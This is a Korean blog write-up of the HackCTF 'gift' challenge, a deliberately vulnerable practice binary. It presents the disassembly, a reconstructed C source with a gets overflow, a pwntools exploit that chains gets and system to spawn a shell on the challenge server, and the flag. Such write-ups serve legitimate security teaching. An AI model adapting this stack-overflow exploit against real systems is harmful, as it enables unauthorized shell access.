WriteUp/HackCTF

[HackCTF] gift

d2n0s4ur 2021. 8. 8. 14:21

 

 

   0x08048546 <+0>:     push   ebp
   0x08048547 <+1>:     mov    ebp,esp
   0x08048549 <+3>:     push   ebx
   0x0804854a <+4>:     add    esp,0xffffff80
   0x0804854d <+7>:     call   0x8048480 <__x86.get_pc_thunk.bx>
   0x08048552 <+12>:    add    ebx,0x1392
   0x08048558 <+18>:    push   0x3c
   0x0804855a <+20>:    call   0x80483f0 <alarm@plt>
   0x0804855f <+25>:    add    esp,0x4
   0x08048562 <+28>:    mov    eax,DWORD PTR [ebx-0x4]
   0x08048568 <+34>:    mov    eax,DWORD PTR [eax]
   0x0804856a <+36>:    push   0x0
   0x0804856c <+38>:    push   0x2
   0x0804856e <+40>:    push   0x0
   0x08048570 <+42>:    push   eax
   0x08048571 <+43>:    call   0x8048410 <setvbuf@plt>
   0x08048576 <+48>:    add    esp,0x10
   0x08048579 <+51>:    mov    eax,DWORD PTR [ebx-0x8]
   0x0804857f <+57>:    mov    eax,DWORD PTR [eax]
   0x08048581 <+59>:    push   0x0
   0x08048583 <+61>:    push   0x2
   0x08048585 <+63>:    push   0x0
   0x08048587 <+65>:    push   eax
   0x08048588 <+66>:    call   0x8048410 <setvbuf@plt>
   0x0804858d <+71>:    add    esp,0x10
   0x08048590 <+74>:    mov    eax,DWORD PTR [ebx-0x14]
   0x08048596 <+80>:    mov    eax,DWORD PTR [eax]
   0x08048598 <+82>:    push   0x0
   0x0804859a <+84>:    push   0x2
   0x0804859c <+86>:    push   0x0
   0x0804859e <+88>:    push   eax
   0x0804859f <+89>:    call   0x8048410 <setvbuf@plt>
   0x080485a4 <+94>:    add    esp,0x10
   0x080485a7 <+97>:    mov    eax,DWORD PTR [ebx-0x10]
   0x080485ad <+103>:   push   eax
   0x080485ae <+104>:   mov    eax,0x8049940
   0x080485b4 <+110>:   push   eax
   0x080485b5 <+111>:   lea    eax,[ebx-0x1254]
   0x080485bb <+117>:   push   eax
   0x080485bc <+118>:   call   0x80483c0 <printf@plt>
   0x080485c1 <+123>:   add    esp,0xc
   0x080485c4 <+126>:   mov    eax,DWORD PTR [ebx-0x8]
   0x080485ca <+132>:   mov    eax,DWORD PTR [eax]
   0x080485cc <+134>:   push   eax
   0x080485cd <+135>:   push   0x80
   0x080485d2 <+140>:   lea    eax,[ebp-0x84]
   0x080485d8 <+146>:   push   eax
   0x080485d9 <+147>:   call   0x80483e0 <fgets@plt>
   0x080485de <+152>:   add    esp,0xc
   0x080485e1 <+155>:   lea    eax,[ebp-0x84]
   0x080485e7 <+161>:   push   eax
   0x080485e8 <+162>:   call   0x80483c0 <printf@plt>
   0x080485ed <+167>:   add    esp,0x4
   0x080485f0 <+170>:   lea    eax,[ebp-0x84]
   0x080485f6 <+176>:   push   eax
   0x080485f7 <+177>:   call   0x80483d0 <gets@plt>
   0x080485fc <+182>:   add    esp,0x4
   0x080485ff <+185>:   mov    eax,0x0
   0x08048604 <+190>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048607 <+193>:   leave
   0x08048608 <+194>:   ret

어셈블리어를 토대로 hexray 해보면

 

#include<stdio.h>

int main(){

    char buf[0x80];
    alarm(0x3c);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("Hey guyssssssssss here you are: %p %p\n",&binsh, &system);

    fgets(buf, 0x80, 1);
    printf(buf);
    gets(buf);    

    return 0;
}

다음과 같다.

 

print 구문에서 binsh와 system의 주소를 준다.

 

이어서 fgets에서는 buf의 크기인 0x80만큼만 받아오므로 BOF를 일으키기는 어려울 것 같다.

 

이어서 나오는 gets함수에서 BOF를 일으키면 된다.

 

binsh의 주소에 저장되어 있는 값을 gdb를 통해 보면 0임을 알 수 있다.

즉, gets함수를 통해 binsh주소에 /bin/sh 값을 넣어주어야 한다.

 

다음과 같이 exploit코드를 작성한다.

from pwn import *

#p = process("./gift")
p = remote("ctf.j0n9hyun.xyz",3018)

p.recvuntil('are: ')

binsh = int(p.recvuntil(' ')[:-1],16)
system = int(p.recvuntil('\n')[:-1],16)
pop_ret  = 0x804866b # pop ebp; ret;
gets_plt = 0x80483d0

p.sendline('a')

payload = 'A'*0x80 + 'B'*8
payload += p32(gets_plt)
payload += p32(pop_ret)
payload += p32(binsh)

payload += p32(system)
payload += 'A'*4
payload += p32(binsh)

p.sendline(payload)
p.sendline('/bin/sh' + '\x00')

p.interactive()

 

 

 

FLAG : HackCTF{플래그_잘_받았지?_이게_내_선물이야!}

반응형